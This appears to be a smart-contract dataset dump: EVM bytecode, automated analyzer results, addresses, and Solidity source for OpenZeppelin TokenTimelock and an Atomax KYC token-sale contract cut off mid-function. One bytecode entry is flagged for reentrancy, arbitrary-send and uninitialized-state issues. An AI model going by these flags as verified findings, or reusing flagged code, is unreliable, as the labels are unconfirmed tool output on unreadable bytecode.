9091565b60008060008060008060008060006130338a60085460095461321d565b9250925092506000613043612d2a565b905060008060006130568e8787876132b3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006130c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061256b565b905092915050565b60008082846130d79190613b77565b90508381101561311c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311390613992565b60405180910390fd5b8091505092915050565b6000613130612d2a565b905060006131478284612ae790919063ffffffff16565b905061319b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130c890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6131f88260065461307e90919063ffffffff16565b600681905550613213816007546130c890919063ffffffff16565b6007819055505050565b600080600080613249606461323b888a612ae790919063ffffffff16565b612b6290919063ffffffff16565b905060006132736064613265888b612ae790919063ffffffff16565b612b6290919063ffffffff16565b9050600061329c8261328e858c61307e90919063ffffffff16565b61307e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806132cc8589612ae790919063ffffffff16565b905060006132e38689612ae790919063ffffffff16565b905060006132fa8789612ae790919063ffffffff16565b9050600061332382613315858761307e90919063ffffffff16565b61307e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061334b816140ab565b92915050565b600081519050613360816140ab565b92915050565b600081359050613375816140c2565b92915050565b60008151905061338a816140c2565b92915050565b60008135905061339f816140d9565b92915050565b6000815190506133b4816140d9565b92915050565b6000602082840312156133cc57600080fd5b60006133da8482850161333c565b91505092915050565b6000602082840312156133f557600080fd5b600061340384828501613351565b91505092915050565b6000806040838503121561341f57600080fd5b600061342d8582860161333c565b925050602061343e8582860161333c565b9150509250929050565b60008060006060848603121561345d57600080fd5b600061346b8682870161333c565b935050602061347c8682870161333c565b925050604061348d86828701613390565b9150509250925092565b600080604083850312156134aa57600080fd5b60006134b88582860161333c565b92505060206134c985828601613390565b9150509250929050565b6000602082840312156134e557600080fd5b60006134f384828501613366565b91505092915050565b60006020828403121561350e57600080fd5b600061351c8482850161337b565b91505092915050565b60006020828403121561353757600080fd5b600061354584828501613390565b91505092915050565b60008060006060848603121561356357600080fd5b6000613571868287016133a5565b9350506020613582868287016133a5565b9250506040613593868287016133a5565b9150509250925092565b60006135a983836135b5565b60208301905092915050565b6135be81613c8c565b82525050565b6135cd81613c8c565b82525050565b60006135de82613b32565b6135e88185613b55565b93506135f383613b22565b8060005b8381101561362457815161360b888261359d565b975061361683613b48565b9250506001810190506135f7565b5085935050505092915050565b61363a81613c9e565b82525050565b61364981613ce1565b82525050565b600061365a82613b3d565b6136648185613b66565b9350613674818560208601613cf3565b61367d81613dcd565b840191505092915050565b6000613695602383613b66565b91506136a082613dde565b604082019050919050565b60006136b8602a83613b66565b91506136c382613e2d565b604082019050919050565b60006136db602283613b66565b91506136e682613e7c565b604082019050919050565b60006136fe601b83613b66565b915061370982613ecb565b602082019050919050565b6000613721601d83613b66565b915061372c82613ef4565b602082019050919050565b6000613744602183613b66565b915061374f82613f1d565b604082019050919050565b6000613767602083613b66565b915061377282613f6c565b602082019050919050565b600061378a602983613b66565b915061379582613f95565b604082019050919050565b60006137ad602583613b66565b91506137b882613fe4565b604082019050919050565b60006137d0602483613b66565b91506137db82614033565b604082019050919050565b60006137f3601183613b66565b91506137fe82614082565b602082019050919050565b61381281613cca565b82525050565b61382181613cd4565b82525050565b600060208201905061383c60008301846135c4565b92915050565b600060408201905061385760008301856135c4565b61386460208301846135c4565b9392505050565b600060408201905061388060008301856135c4565b61388d6020830184613809565b9392505050565b600060c0820190506138a960008301896135c4565b6138b66020830188613809565b6138c36040830187613640565b6138d06060830186613640565b6138dd60808301856135c4565b6138ea60a0830184613809565b979650505050505050565b600060208201905061390a6000830184613631565b92915050565b6000602082019050818103600083015261392a818461364f565b905092915050565b6000602082019050818103600083015261394b81613688565b9050919050565b6000602082019050818103600083015261396b816136ab565b9050919050565b6000602082019050818103600083015261398b816136ce565b9050919050565b600060208201905081810360008301526139ab816136f1565b9050919050565b600060208201905081810360008301526139cb81613714565b9050919050565b600060208201905081810360008301526139eb81613737565b9050919050565b60006020820190508181036000830152613a0b8161375a565b9050919050565b60006020820190508181036000830152613a2b8161377d565b9050919050565b60006020820190508181036000830152613a4b816137a0565b9050919050565b60006020820190508181036000830152613a6b816137c3565b9050919050565b60006020820190508181036000830152613a8b816137e6565b9050919050565b6000602082019050613aa76000830184613809565b92915050565b600060a082019050613ac26000830188613809565b613acf6020830187613640565b8181036040830152613ae181866135d3565b9050613af060608301856135c4565b613afd6080830184613809565b9695505050505050565b6000602082019050613b1c6000830184613818565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b8282613cca565b9150613b8d83613cca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bc257613bc1613d6f565b5b828201905092915050565b6000613bd882613cca565b9150613be383613cca565b925082613bf357613bf2613d9e565b5b828204905092915050565b6000613c0982613cca565b9150613c1483613cca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c4d57613c4c613d6f565b5b828202905092915050565b6000613c6382613cca565b9150613c6e83613cca565b925082821015613c8157613c80613d6f565b5b828203905092915050565b6000613c9782613caa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613cec82613cca565b9050919050565b60005b83811015613d11578082015181840152602081019050613cf6565b83811115613d20576000848401525b50505050565b6000613d3182613cca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d6457613d63613d6f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6140b481613c8c565b81146140bf57600080fd5b50565b6140cb81613c9e565b81146140d657600080fd5b50565b6140e281613cca565b81146140ed57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062abfbb9e5915b1e0c1e19eea680d77a69caf17ba85732ed4ee37741ecb694d464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,927 |
0xb05b98c8f6cd05dc70ad0c452712338724b25a0d
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 immutable private _token;
// beneficiary of tokens after they are released
address immutable private _beneficiary;
// timestamp when token release is enabled
uint256 immutable private _releaseTime;
constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) {
// solhint-disable-next-line not-rely-on-time
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461006f578063b91d400114610079578063fc0c546a14610097575b600080fd5b6100596100b5565b6040516100669190610756565b60405180910390f35b6100776100dd565b005b61008161023a565b60405161008e9190610877565b60405180910390f35b61009f610262565b6040516100ac919061079a565b60405180910390f35b60007f00000000000000000000000002fff939d7e87f39dfd7ce107e2437247475e086905090565b6100e561023a565b421015610127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011e906107d7565b60405180910390fd5b6000610131610262565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101699190610756565b60206040518083038186803b15801561018157600080fd5b505afa158015610195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101b991906105d0565b9050600081116101fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101f590610857565b60405180910390fd5b6102376102096100b5565b82610212610262565b73ffffffffffffffffffffffffffffffffffffffff1661028a9092919063ffffffff16565b50565b60007f0000000000000000000000000000000000000000000000000000000062940900905090565b60007f000000000000000000000000bd4a858139b155219e2c8d10135003fdef720b6b905090565b61030b8363a9059cbb60e01b84846040516024016102a9929190610771565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610310565b505050565b6000610372826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166103d79092919063ffffffff16565b90506000815111156103d2578080602001905181019061039291906105a7565b6103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610837565b60405180910390fd5b5b505050565b60606103e684846000856103ef565b90509392505050565b606082471015610434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042b906107f7565b60405180910390fd5b61043d85610503565b61047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610817565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516104a5919061073f565b60006040518083038185875af1925050503d80600081146104e2576040519150601f19603f3d011682016040523d82523d6000602084013e6104e7565b606091505b50915091506104f7828286610516565b92505050949350505050565b600080823b905060008111915050919050565b6060831561052657829050610576565b6000835111156105395782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d91906107b5565b60405180910390fd5b9392505050565b60008151905061058c81610ad9565b92915050565b6000815190506105a181610af0565b92915050565b6000602082840312156105b957600080fd5b60006105c78482850161057d565b91505092915050565b6000602082840312156105e257600080fd5b60006105f084828501610592565b91505092915050565b610602816108c4565b82525050565b600061061382610892565b61061d81856108a8565b935061062d818560208601610930565b80840191505092915050565b6106428161090c565b82525050565b60006106538261089d565b61065d81856108b3565b935061066d818560208601610930565b61067681610963565b840191505092915050565b600061068e6032836108b3565b915061069982610974565b604082019050919050565b60006106b16026836108b3565b91506106bc826109c3565b604082019050919050565b60006106d4601d836108b3565b91506106df82610a12565b602082019050919050565b60006106f7602a836108b3565b915061070282610a3b565b604082019050919050565b600061071a6023836108b3565b915061072582610a8a565b604082019050919050565b61073981610902565b82525050565b600061074b8284610608565b915081905092915050565b600060208201905061076b60008301846105f9565b92915050565b600060408201905061078660008301856105f9565b6107936020830184610730565b9392505050565b60006020820190506107af6000830184610639565b92915050565b600060208201905081810360008301526107cf8184610648565b905092915050565b600060208201905081810360008301526107f081610681565b9050919050565b60006020820190508181036000830152610810816106a4565b9050919050565b60006020820190508181036000830152610830816106c7565b9050919050565b60006020820190508181036000830152610850816106ea565b9050919050565b600060208201905081810360008301526108708161070d565b9050919050565b600060208201905061088c6000830184610730565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006108cf826108e2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006109178261091e565b9050919050565b6000610929826108e2565b9050919050565b60005b8381101561094e578082015181840152602081019050610933565b8381111561095d576000848401525b50505050565b6000601f19601f8301169050919050565b7f546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206260008201527f65666f72652072656c656173652074696d650000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c6560008201527f6173650000000000000000000000000000000000000000000000000000000000602082015250565b610ae2816108d6565b8114610aed57600080fd5b50565b610af981610902565b8114610b0457600080fd5b5056fea264697066735822122028db4cc2841b0065645498e6df4e8edb1f248823e3c226aa76f240a932f7325364736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 8,928 |
0x65cfac6e114860410147cb164a69b54e17180112
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner, "msg.sender == owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(address(0) != _newOwner, "address(0) != _newOwner");
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "msg.sender == newOwner");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
newOwner = address(0);
}
}
contract tokenInterface {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool);
function burn(uint256 _value) public returns(bool);
uint256 public totalSupply;
uint256 public decimals;
}
contract AtomaxKycInterface {
// false if the ico is not started, true if the ico is started and running, true if the ico is completed
function started() public view returns(bool);
// false if the ico is not started, false if the ico is started and running, true if the ico is completed
function ended() public view returns(bool);
// time stamp of the starting time of the ico, must return 0 if it depends on the block number
function startTime() public view returns(uint256);
// time stamp of the ending time of the ico, must retrun 0 if it depends on the block number
function endTime() public view returns(uint256);
// returns the total number of the tokens available for the sale, must not change when the ico is started
function totalTokens() public view returns(uint256);
// returns the number of the tokens available for the ico. At the moment that the ico starts it must be equal to totalTokens(),
// then it will decrease. It is used to calculate the percentage of sold tokens as remainingTokens() / totalTokens()
function remainingTokens() public view returns(uint256);
// return the price as number of tokens released for each ether
function price() public view returns(uint256);
}
contract AtomaxKyc {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (bytes32 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, bytes32 buyerId, uint maxAmount);
constructor() internal {
isKycSigner[0x9787295cdAb28b6640bc7e7db52b447B56b1b1f0] = true; //ATOMAX KYC 1 SIGNER
isKycSigner[0x3b3f379e49cD95937121567EE696dB6657861FB0] = true; //ATOMAX KYC 2 SIGNER
}
// Must be implemented in descending contract to assign tokens to the buyers. Called after the KYC verification is passed
function releaseTokensTo(address buyer) internal returns(bool);
function buyTokensFor(address _buyerAddress, bytes32 _buyerId, uint _maxAmount, uint8 _v, bytes32 _r, bytes32 _s, uint8 _bv, bytes32 _br, bytes32 _bs) public payable returns (bool) {
bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount );
address signer = ecrecover(hash, _bv, _br, _bs);
require ( signer == _buyerAddress, "signer == _buyerAddress " );
return buyImplementation(_buyerAddress, _buyerId, _maxAmount, _v, _r, _s);
}
function buyTokens(bytes32 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) {
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount, uint8 _v, bytes32 _r, bytes32 _s) private returns (bool) {
// check the signature
bytes32 hash = hasher ( _buyerAddress, _buyerId, _maxAmount );
address signer = ecrecover(hash, _v, _r, _s);
require( isKycSigner[signer], "isKycSigner[signer]");
uint256 totalPayed = alreadyPayed[_buyerId].add(msg.value);
require(totalPayed <= _maxAmount);
alreadyPayed[_buyerId] = totalPayed;
emit KycVerified(signer, _buyerAddress, _buyerId, _maxAmount);
return releaseTokensTo(_buyerAddress);
}
function hasher (address _buyerAddress, bytes32 _buyerId, uint256 _maxAmount) public view returns ( bytes32 hash ) {
hash = keccak256(abi.encodePacked("Atomax authorization:", this, _buyerAddress, _buyerId, _maxAmount));
}
}
contract RC_KYC_ADV is AtomaxKycInterface, AtomaxKyc {
using SafeMath for uint256;
TokedoDaico tokenSaleContract;
uint256 public startTime;
uint256 public endTime;
uint256 public etherMinimum;
uint256 public soldTokens;
uint256 public remainingTokens;
uint256 public tokenPrice;
address public dad;
mapping(address => uint256) public etherUser; // address => ether amount
mapping(address => uint256) public pendingTokenUser; // address => token amount that will be claimed after KYC
mapping(address => uint256) public tokenUser; // address => token amount owned
constructor(address _tokenSaleContract, uint256 _tokenPrice, uint256 _remainingTokens, uint256 _etherMinimum, uint256 _startTime , uint256 _endTime, address _dad) public {
require ( _tokenSaleContract != address(0), "_tokenSaleContract != address(0)" );
require ( _tokenPrice != 0, "_tokenPrice != 0" );
require ( _remainingTokens != 0, "_remainingTokens != 0" );
require ( _startTime != 0, "_startTime != 0" );
require ( _endTime != 0, "_endTime != 0" );
tokenSaleContract = TokedoDaico(_tokenSaleContract);
soldTokens = 0;
remainingTokens = _remainingTokens;
tokenPrice = _tokenPrice;
etherMinimum = _etherMinimum;
startTime = _startTime;
endTime = _endTime;
dad = _dad;
}
modifier onlyTokenSaleOwner() {
require(msg.sender == tokenSaleContract.owner() );
_;
}
function setTime(uint256 _newStart, uint256 _newEnd) public onlyTokenSaleOwner {
if ( _newStart != 0 ) startTime = _newStart;
if ( _newEnd != 0 ) endTime = _newEnd;
}
function changeMinimum(uint256 _newEtherMinimum) public onlyTokenSaleOwner {
etherMinimum = _newEtherMinimum;
}
function releaseTokensTo(address buyer) internal returns(bool) {
if( msg.value > 0 ) takeEther(buyer);
giveToken(buyer);
return true;
}
function started() public view returns(bool) {
return now > startTime || remainingTokens == 0;
}
function ended() public view returns(bool) {
return now > endTime || remainingTokens == 0;
}
function startTime() public view returns(uint) {
return startTime;
}
function endTime() public view returns(uint) {
return endTime;
}
function totalTokens() public view returns(uint) {
return remainingTokens.add(soldTokens);
}
function remainingTokens() public view returns(uint) {
return remainingTokens;
}
function price() public view returns(uint) {
return uint256(1 ether).div( tokenPrice ).mul( 10 ** uint256(tokenSaleContract.decimals()) );
}
function () public payable{
takeEther(msg.sender);
}
event TakeEther(address buyer, uint256 value, uint256 soldToken, uint256 tokenPrice );
function takeEther(address _buyer) internal {
require( now > startTime, "now > startTime" );
require( now < endTime, "now < endTime");
require( msg.value >= etherMinimum, "msg.value >= etherMinimum");
